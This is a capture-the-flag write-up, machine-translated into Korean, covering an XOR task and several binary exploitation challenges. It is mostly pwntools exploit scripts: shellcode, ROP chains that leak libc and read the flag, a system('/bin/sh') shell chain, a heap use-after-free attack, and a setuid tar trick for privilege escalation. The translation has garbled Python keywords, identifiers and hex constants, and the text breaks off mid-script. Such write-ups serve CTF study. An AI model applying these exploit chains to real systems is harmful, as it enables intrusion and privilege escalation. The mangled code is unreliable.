KoreanHackerTeam
Moderator
Crypto
XOR
1. XOR 스크립트 또는 온라인 디코딩 도구 (하나의 암호화 만)를 사용하여 디코딩 할 수있는 문자열로 환경을 열어줍니다.열쇠는 모방입니다
깃발을 해독하십시오
온라인 암호 해독
또는 스크립트 : # ciphertext ciphertext='0B050C0E180E585F5C5255C554444444444444444444444050F5D0F55590C5555A0914'hex string to byx to byx to byx to byx to byx string.=bytes.fromHex (cipherText)# 키가 '키'라고 가정하면 키 키를 변경할 수 있습니다. 해독 된 바이트를 문자열에 해독 한 바이트를 PlainText=PlainText_Bytes.Decode ( 'UTF-8') Print (PlainText)
Pwn
ezcode
JSON의 직접 쉘 코드 세트, 길이0x16을 제한 한 다음 MPROTECT+를 실현 한 다음 0X16 BYTES 내에서 읽기+를 실현합니다.PWN 가져 오기 *
JSON 수입
컨텍스트 (log_level='debug', os='linux', arch='amd64')
pwnfile='./vuln'
io=프로세스 (pwnfile)
#io=remote ()
elf=elf (pwnfile)
libc=elf ( '/lib/x86_64-linux-gnu/libc.so.6')
#libc=elf ( './libc.so.6')
shellcode='' '
Sal Edi, 12
Mov DX, 7
Mov Ax, 10
SYSCALL
CDQ
Xor EAX, EAX
Mov Esi, Ecx
Xor Edi, Edi
SYSCALL
'' ''
shellcode1=asm (shellcode)
print ( 'len-', len (shellcode1))
payload1={
'ShellCode ': ShellCode1.Hex ()
}
io.sendlin 이후 ( '입력 :을 입력하십시오', json.dumps (payload1))
shellcode=asm ( '' ''
Mov RDI,0x999800D
xor esi, esi
xor rdx, rdx
Mov Rax, 2
SYSCALL
Mov Rdi, Rax
Mov RSI,0x9998000+0x300
Mov EDX,0x40
Xor EAX, EAX
SYSCALL
Mov Edi, 1
Mov RSI,0x9998000+0x300
Mov Rax, 1
SYSCALL
'' ')
io.sendline (b './flag \ x00 \ x00 \ x00'+shellcode)
io.interactive ()
signin_revenge
스택 오버플로, 파이 없음, 카나리아 없음, ROP 유출 주소 및 ORW 구성PWN 가져 오기 *
컨텍스트 (log_level='debug', os='linux', arch='amd64')
pwnfile='./vuln'
#io=프로세스 (pwnfile)
IO=원격 ( 'PWN-16255A8951.CHALLENGE.XCTF.org.cn', 9999, SSL=TRUE)
elf=elf (pwnfile)
libc=elf ( './libc.so.6')
def debug () :
gdb.attach (io)
정지시키다()
POP_RDI=0x0000000000401393
puts_got=elf.got [ 'puts']
puts_plt=elf.plt [ 'puts']
main_adr=elf.symbols [ 'main']
#debug ()
pay=b'a '*0x108+flat (pop_rdi, puts_got, puts_plt, main_adr)
io.sendlinter ( '이동하고 pwn! \ n', pay)
puts_adr=u64 (io.recvuntil ( '\ x7f') [-6:] .ljust (8, b '\ x00')))
libc_base=puts_adr-libc.sym [ 'puts']
pop_rdx=libc_base +0x0000000000142c92
pop_rsi=libc_base +0x000000000000002601f
POP_RBP=LIBC_BASE +0x000000000000226C0
POP_RAX=LIBC_BASE +0x00000000000000036174
Leave_ret=0x4012ee
읽기=0x04012d6 #0x130
BSS=0x404000+0x800
flag_adr=bss+0x98
op=libc_base + libc.symbols [ 'Open']
re=libc_base + libc.symbols [ 'read']
wr=libc_base + libc.symbols [ '쓰기']
pay=b'a '*0x100+p64 (bss-8)+flat (pop_rax, bss, 읽기)
io.sendafter ( 'Move and Pwn! \ n', Pay)
#debug ()
orw=flat (pop_rdi, flag_adr, pop_rsi, 0, op,
POP_RDI, 3, POP_RSI, FLAG_ADR+0X200, POP_RDX, 0X100, RE,
POP_RDI, 1, POP_RSI, FLAG_ADR+0X200, POP_RDX, 0X40, WR)+B './flag \ x00'
io.sendline (ORW)
io.interactive ()
QWEN
Memu Pointer 및0x20 바이트에 바인을 넘어서 쓸 수 있습니다.
그런 다음 백도어를 사용하여 읽기/proc/self/맵을 사용하여 메모리 정보를 얻고 libc_base를 통해 두 개의 가제트를받습니다.
0x000000000000004ee21 : POP RDX; RSP 추가,0x38; 팝 RBX; 팝 RBP; ret
0x0000000000000D10BE : XOR EAX, EAX; RSP 추가, 8; ret
팝 rdx로 메뉴 포인터를 납치하십시오. RSP 추가,0x38; 팝 RBX; 팝 RBP; ret, read, execute system ( "/bin/sh")이 작성하여 쉘을 얻으려면0x20 바이트로 점프
exp
PWN 가져 오기 *
DEF 디버그 (C=0) :
경우 (c) :
gdb.attach (p, c)
else:
gdb.attach (p)
정지시키다()
def get_sb () : 리턴 libc_base + libc.sym [ 'system'], libc_base + next (libc.search (b '/bin/sh \ x00'))
#---------------------------------------------------------------------------------------------------------
S=Lambda 데이터 : P.Send (데이터)
sa=lambda 텍스트, 데이터
.sendafter (텍스트, 데이터)SL=Lambda Data
.sendline (데이터)SLA=Lambda Text, 데이터
.sendlinea (텍스트, 데이터)r=lambda num=4096
.recv (num)rl=람다 텍스트
.recvuntil (텍스트)Pr=lambda num=4096
rint (p.recv (num))inter=lambda
.interactive ()l32=lambda :u32 (p.recvuntil (b '\ xf7') [-4:] .ljust (4, b '\ x00')).
l64=lambda :u64 (p.recvuntil (b '\ x7f') [-6:] .ljust (8, b '\ x00')).
uu32=lambda :u32 (p.recv (4) .ljust (4, b '\ x00')))
uu64=lambda :u64 (p.recv (6) .ljust (8, b '\ x00')))
int16=Lambda Data :int (데이터, 16)
lg=lambda s, num
.success ( '%s -0x%x'%(s, num))#---------------------------------------------------------------------------------------------------------
컨텍스트 (os='linux', arch='amd64', log_level='debug')
P=원격 ( 'PWN-BC7E9F0275.CHALLNENGE.XCTF.org.cn', 9999, SSL=true)
#P=프로세스 ( 'PWN1')
elf=elf ( 'pwn1')
libc=elf ( 'libc.so.6')
#debug ( 'b *$ rebase (0x1022) \ n')
범위 (5) :의 I의 경우
SLA (b '\ xbc \ x89 \ xef \ xbc \ x9a', str (i) + '0')
pl=b'a '*0x8 + p16 (0x1508)
SA (b'say? ', pl)
SLA (b'game [y/n] ', b'n')
SLA (b '\ xbc \ x89 \ xef \ xbc \ x9a', '111 111')
SLA (b'administrator 키 \ n ', str (0x6b8b4567))
file_name=b '/proc/self/maps'
sla (b'logged in! \ n ', file_name)
RL (B'The Debugging Information은 다음과 같습니다 \ n ')
pro_base=int (r (12), 16)
rl (b'libc.so.6 \ n ')
libc_base=int (r (12), 16) -0x1e7000
lg ( 'pro_base', pro_base)
lg ( 'libc_base', libc_base)
범위 (5) :의 I의 경우
SLA (b '\ xbc \ x89 \ xef \ xbc \ x9a', str (i) + '0')
#0x00000000000004ee21 : POP RDX; RSP 추가,0x38; 팝 RBX; 팝 RBP; ret
#0x000000000000D10BE : XOR EAX, EAX; RSP 추가, 8; ret
rdi=libc_base +0x000000000000002164f
시스템, binsh=get_sb ()
ret=libc_base +0x000000000000000000008aa
ONE_GADGET=libc_base +0x00000000000004ee21
PL=P64 (LIBC_BASE + 0X000000000000D10BE) + P64 (ONE_GADGET) + P64 (RET) + P64 (RDI) + P64 (BINSH) + P64 (시스템)
SA (b'say? ', pl)
SLA (b'game [y/n] ', b'n')
SLA (B '\ XBC \ X89 \ XEF \ XBC \ X9A', '111111111111111111111111111111111111111111111111111')))
lg ( 'pro_base', pro_base)
lg ( 'libc_base', libc_base)
#정지시키다()
inter () 다음 전원을 에스컬레이션합니다.
대상 기계의 pwn2는 압축 된 타르가 될 수 있고, s 권한이 있고, -x가 존재하지 않는 파일을 가리키면 -x를 생성하고 압축 해제 할 수 있으며이 함수를 사용하여 타르를 위조하고 파일을 덮어 씁니다.
예를 들어
/home/pwn2 -x test.tar는 base64가 입력 및 로컬로 생성 된 TAR 패키지가 필요합니다.
Docker 질문은 일반적으로 xinetd를 사용하고 Xinetd의 구성 파일을보기 때문에/usr/bin/chroot를 사용하여 루트에서 CTF 사용자로 전환하므로/usr/bin/chroot to chmox 777/home/ctf/flag로 전환 한 다음 다른 터미널 NC를 사용하여 Chroot를 수정하여 플래그 권한을 수정합니다.
signin
ADD 함수에는 0_O 함수가 있으며 SignIn_Revenge와 동일한 스택 오버플로가 있습니다. 이것을 사용하여 ORW를 직접 맞을 수 있습니다.PWN 가져 오기 *
CTYPES 가져 오기
CTYPES 가져 오기 *
컨텍스트 (arch='amd64', os='linux', log_level='debug')
file_name='./vuln'
libc=elf ( './libc.so.6')
#libc=ctypes.cdll ( '/lib/x86_64-linux-gnu/libc.so.6')
#libc.srand.argtypes=[ctypes.c_uint]
li=lambda x : print ( '\ x1b [01; 38; 5; 214m' + str (x) + '\ x1b [0m')
ll=lambda x : print ( '\ x1b [01; 38; 5; 1m' + str (x) + '\ x1b [0m')
#context.terminal=[ 'tmux', 'splitw', '-h']]]
디버그=1
디버그 : 인 경우
R=원격 ( 'PWN-C9B9D9E4E9.CHALLNENGE.XCTF.org.cn', 9999, SSL=true)
else:
r=프로세스 (file_name)
libcc=cdll.loadlibrary ( './libc.so.6')
libcc.srand (libcc.time (0))
elf=elf (file_name)
def dbg () :
gdb.attach (R)
정지시키다()
def dbgg () :
raw_input ()
R.Send ( 'RBP')
I의 경우 범위 (100) :
a=libcc.rand ()%100+1
R.SendAfter ( '인증 코드 3: \ n', p64 (a)).
r.sendafter ( '\ n', p32 (1))
#dbg ()
R.SendAfter ( 'index: \ n', p32 (0))
r.sendafter ( 'note: \ n', b'a '*0x10)
수면 (0.5)
R.Send (B'A '*0x108+P64 (0x401893)+P64 (0x404028)+P64 (0x401110)+P64 (0x4013C0)))
libc_base=u64 (r.recvuntil ( '\ x7f') [-6:] .ljust (8, b '\ x00'))-libc.sym [ 'puts']
Openn=libc_base+libc.sym [ 'open']
읽기=libc_base+libc.sym [ 'read']
쓰기=libc_base+libc.sym [ '쓰기']
rdi=libc_base +0x00000000000000023b6a
RSI=libc_base +0x000000000000002601f
rdx=libc_base +0x0000000000142c92
print (16 진수 (libc_base))
R.Send (B'A '*0x108+P64 (RSI)+P64 (0x404180)+P64 (읽기)+P64 (0x4013C0))
R.Send ( '플래그')
수면 (0.5)
R.Send (B'A '*0x100+P64 (0x404200)+P64 (0x4013CF))
수면 (0.5)
R.Send (B'A '*0x100+P64 (0x404300)+P64 (0x4013CF))
수면 (0.5)
#dbg ()
R.Send (b'flag \ x00 \ x00 \ x00 \ x00 '+p64 (rdi)+p64 (0x404200)+p64 (rsi)+p64 (0)+p64 (rdx)+p64 (0)+p64 (Openn)+p64 (RDI)+P64 (3)+P64 (RSI)+P64 (0x4041A0)+P64 (RDX)+P64 (0x30)+P64 (읽기)+P64 (RDI)+P64 (RDI)+P64 (1)+P64 (쓰기))
R.Interactive ()
guest book
메뉴 힙 프로그램에는 UAF가 있으며 응용 프로그램 크기 제한은0x4ff 이상입니다. 다른 제한 사항이없고, 보드와 Apple의 집을 두십시오.PWN 가져 오기 *
SYS 가져 오기
context.log_level='디버그'
context.arch='amd64'
#libc=elf ( '/lib/x86_64-linux-gnu/libc.so.6')
libc=elf ( './libc.so.6')
플래그=1
FLAG: 인 경우
P=원격 ( 'PWN-CA43B7414F.challenge.xctf.org.cn', 9999, SSL=True)
else:
p=프로세스 ( './pwn')
SA=Lambda S, N : P.SendAfter (S, N)
SLA=Lambda S, N : P.Sendlinter (S, N)
SL=Lambda S : P.Sendline (S)
SD=Lambda S : P.Send (S)
rc=lambda n : p.recv
ru=lambda s : p.recvuntil (s)
ti=lambda : p.interactive ()
Leak=Lambda Name, Addr :Log.Success (이름+'-'+hex (addr))
def dbg () :
gdb.attach (p)
정지시키다()
DEF CMD (선택) :
ru ( '')
SL (str (stecon))
DEF ADD (인덱스, 크기) :
CMD (1)
ru ( 'index')
SL (str (index))
ru ( 'size')
SL (str (size))
DEF 편집 (인덱스, 컨텐츠) :
CMD (2)
ru ( 'index')
SL (str (index))
ru ( '내용')
SD (콘텐츠)
DEF DELETE (인덱스) :
CMD (3)
ru ( 'index')
SL (str (index))
DEF SHOW (인덱스) :
CMD (4)
ru ( 'index')
SL (str (index))
추가 (0,0x520)
추가 (1,0x500)
추가 (2,0x510)
삭제 (0)
추가 (3,0x568)
삭제 (2)
쇼 (0)
MaineRean=u64 (ru (b '\ x7f') [-6:] .ljust (8, b '\ x00')))
libc_base=mainearean-0x21b110
편집 (0, b'a '*0x10)
쇼 (0)
ru (b'a '*0x10)
heap_base=u64 (p.recv (6) .ljust (8, b '\ x00')-0x290
편집 (0, p64 (Mainearean)*2)
free_hook=libc_base+libc.sym [ '__ free_hook']
OGS=[0xE3AFE, 0XE3B01,0XE3B04]
OG=libc_base+ogs [1]
puts_io_all=libc_base + libc.sym [ '_ io_list_all']
wfile=libc_base + libc.sym [ '_ io_wfile_jumps']
addr=libc.symbols [ 'puts']+libc_base
가짜_io_addr=heap_base +0x1720
잠금=0x3ed8b0+libc_base
pop_rdi=libc_base + next (libc.search (asm ( 'pop rdi; ret;')))))
pop_rsi=libc_base + next (libc.search (asm ( 'pop rsi; ret;'))))
pop_rdx_r12=libc_base + 다음 (libc.search (asm ( 'pop rdx; pop r12